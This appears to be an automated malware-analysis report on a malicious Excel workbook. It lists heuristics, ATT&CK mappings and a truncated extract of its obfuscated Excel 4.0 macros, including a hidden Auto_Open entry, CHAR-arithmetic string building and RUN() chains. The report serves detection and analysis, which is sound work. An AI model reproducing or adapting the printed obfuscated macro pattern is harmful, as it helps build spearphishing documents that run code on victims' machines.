MALICIOUS
140
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The file contains Excel 4.0 macros with an Auto_Open entry, which is a common technique for initial execution. The macros are obfuscated and use a chain of risky formulas, indicating an attempt to hide malicious activity. The presence of an Auto_Open macro suggests it was likely delivered as a spearphishing attachment.
Heuristics 3
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
Obfuscated XLM Auto_Open execution chain critical OLE_XLM_OBFUSCATED_AUTOEXEC_CHAINExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and an obfuscated formula execution chain. The macro builds strings through FORMULA(CHAR(...)), primes state with SET.VALUE / GET.CELL / GOTO, and transfers control through RUN(). This is a high-confidence XLM malware pattern.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 125736 bytes |
SHA-256: ee4bef3c1fe643468300b4ea3412af1c8dbb05f744c164ac74e12c8071799651 |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible - Sheet ' 0018 28 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open hidden len=7 ptgRef3d Sheet!EZ57975 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' Sheet,DA3,"",0.34234234234234234284 ' Sheet,IZ21,"",182.00000000000000000000 ' Sheet,IK39,"",-38.79999999999999715783 ' Sheet,FF51,"",79.87500000000000000000 ' Sheet,X53,"",-43.50000000000000000000 ' Sheet,D113,"",1.05693069306930698126 ' Sheet,EL116,"",87.00000000000000000000 ' Sheet,JT129,"",1.01149425287356331538 ' Sheet,HO130,"SET.VALUE(FW23638,-161.00000000000000000000/5*GET.CELL(19,JJ64712))","" ' Sheet,HO131,RUN(B62730),"" ' Sheet,JB138,"",-647.40000000000009094947 ' Sheet,FJ179,"",-76.00000000000000000000 ' Sheet,FA182,"",-0.32239819004524883361 ' Sheet,HW224,"",4.00000000000000000000 ' Sheet,CM234,"",-299.00000000000000000000 ' Sheet,DO277,"",-612.40000000000009094947 ' Sheet,EX323,"",-12.61971930985915335555 ' Sheet,EC331,"",-277.12500000000000000000 ' Sheet,ES378,"",-0.11663066954643629136 ' Sheet,DM424,"",-0.08855291576673865461 ' Sheet,BF494,"",-10.32830188679245431160 ' Sheet,DQ501,"",288.00000000000000000000 ' Sheet,EU552,"",0.82178217821782173491 ' Sheet,EC611,"",-0.07717391304347825942 ' Sheet,BF697,"",-109.87500000000000000000 ' Sheet,FM746,"",0.99065420560747663448 ' Sheet,GR747,"",0.74358974358974361252 ' Sheet,JA782,"",274.12500000000000000000 ' Sheet,CS800,"",0.40181818181818185209 ' Sheet,JU855,"",119.50000000000000000000 ' Sheet,BQ888,"",1.04819277108433728252 ' Sheet,GA925,"",-328.00000000000000000000 ' Sheet,FZ1025,"",-0.82178217821782173491 ' Sheet,HP1108,"",37.50000000000000000000 ' Sheet,M1208,"",-0.44642857142857145236 ' Sheet,HB1277,"",-581.40000000000009094947 ' Sheet,O1312,"",283.00000000000000000000 ' Sheet,BB1315,"",-1156.00000000000000000000 ' Sheet,GT1353,"",545.00000000000000000000 ' Sheet,CG1355,"",-1123.00000000000000000000 ' Sheet,GV1364,"",-545.00000000000000000000 ' Sheet,IH1405,"",33.12500000000000000000 ' Sheet,DN1426,"",-0.52083333333333337034 ' Sheet,K1444,"",266.00000000000000000000 ' Sheet,BN1499,"",457.60031249999997271516 ' Sheet,G1672,"",385.60031249999997271516 ' Sheet,EO1717,"",-63.00000000000000000000 ' Sheet,CF1741,"",596.40000000000009094947 ' Sheet,DU1779,"",-0.12862318840579708978 ' Sheet,EF1780,"FORMULA(CHAR(II59103+EM40665)&CHAR(II59103-CU54507)&CHAR(CK33642+BN1499)&CHAR(DK63891/CN46683)&CHAR(IF49263-DZ10223)&CHAR(IF49263-GX10198)&CHAR(ER39164/ES28175)&CHAR(BW64205/JB64290)&CHAR(JG39484-CV61534)&CHAR(BW64205*JC44061)&CHAR(JJ7526-IA49272)&CHAR(HM20978+EO46695)&CHAR(CK33642*BI16205)&CHAR(ER39164-IP42903)&CHAR(JG39484/IL12168)&CHAR(IF49263-GT23579)&CHAR(ER39164-DB16217)&CHAR(ER39164-H3486)&CHAR(IF49263/GH31709)&CHAR(CK33642/IT59031)&CHAR(DK63891/DL51294)&CHAR(JJ7526+JK49213)&CHAR(JG39484+EJ19273)&CHAR(DK63891/IX37712)&CHAR(CK33642-HP4241)&CHAR(ER39164/HU25404)&CHAR(IF49263/FR27315)&CHAR(ER39164+EE12247)&CHAR(ER39164-GW40602)&CHAR(HM20978+CG46621)&CHAR(BW64205*DK64795)&CHAR(JJ7526*IO40609)&CHAR(CK33642+EG16863)&CHAR(DK63891/Q40310)&CHAR(JJ7526+GP44213),FV6891)","" ' Sheet,EF1781,RUN(EG42867),"" ' Sheet,DE1808,"",0.33569739952718674614 ' Sheet,HW1825,"",4.01204819277108448716 ' Sheet,IK1828,"",-10.32830188679245431160 ' Sheet,BE1853,"",5.65000488281249957367 ' Sheet,JJ1880,"",-0.62650602409638556090 ' Sheet,Q1896,"",0.03603603603603603572 ' Sheet,B1899,"",-170.50000000000000000000 ' Sheet,EK1921,"",1.58878504672897191696 ' Sheet,HH1932,"",-0.13653846153846152522 ' Sheet,HO1945,"",-0.31391402714932126194 ' Sheet,FV1952,"",-0.08639308855291576161 ' Sheet,EC1964,"",1.96407185628742508854 ' Sheet,HC1982,"",138.50000000000000000000 ' Sheet,W1987,"",-13.61764705882352899380 ' Sheet,HH1998,"",0.34834934834834829775 ' Sheet,D ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.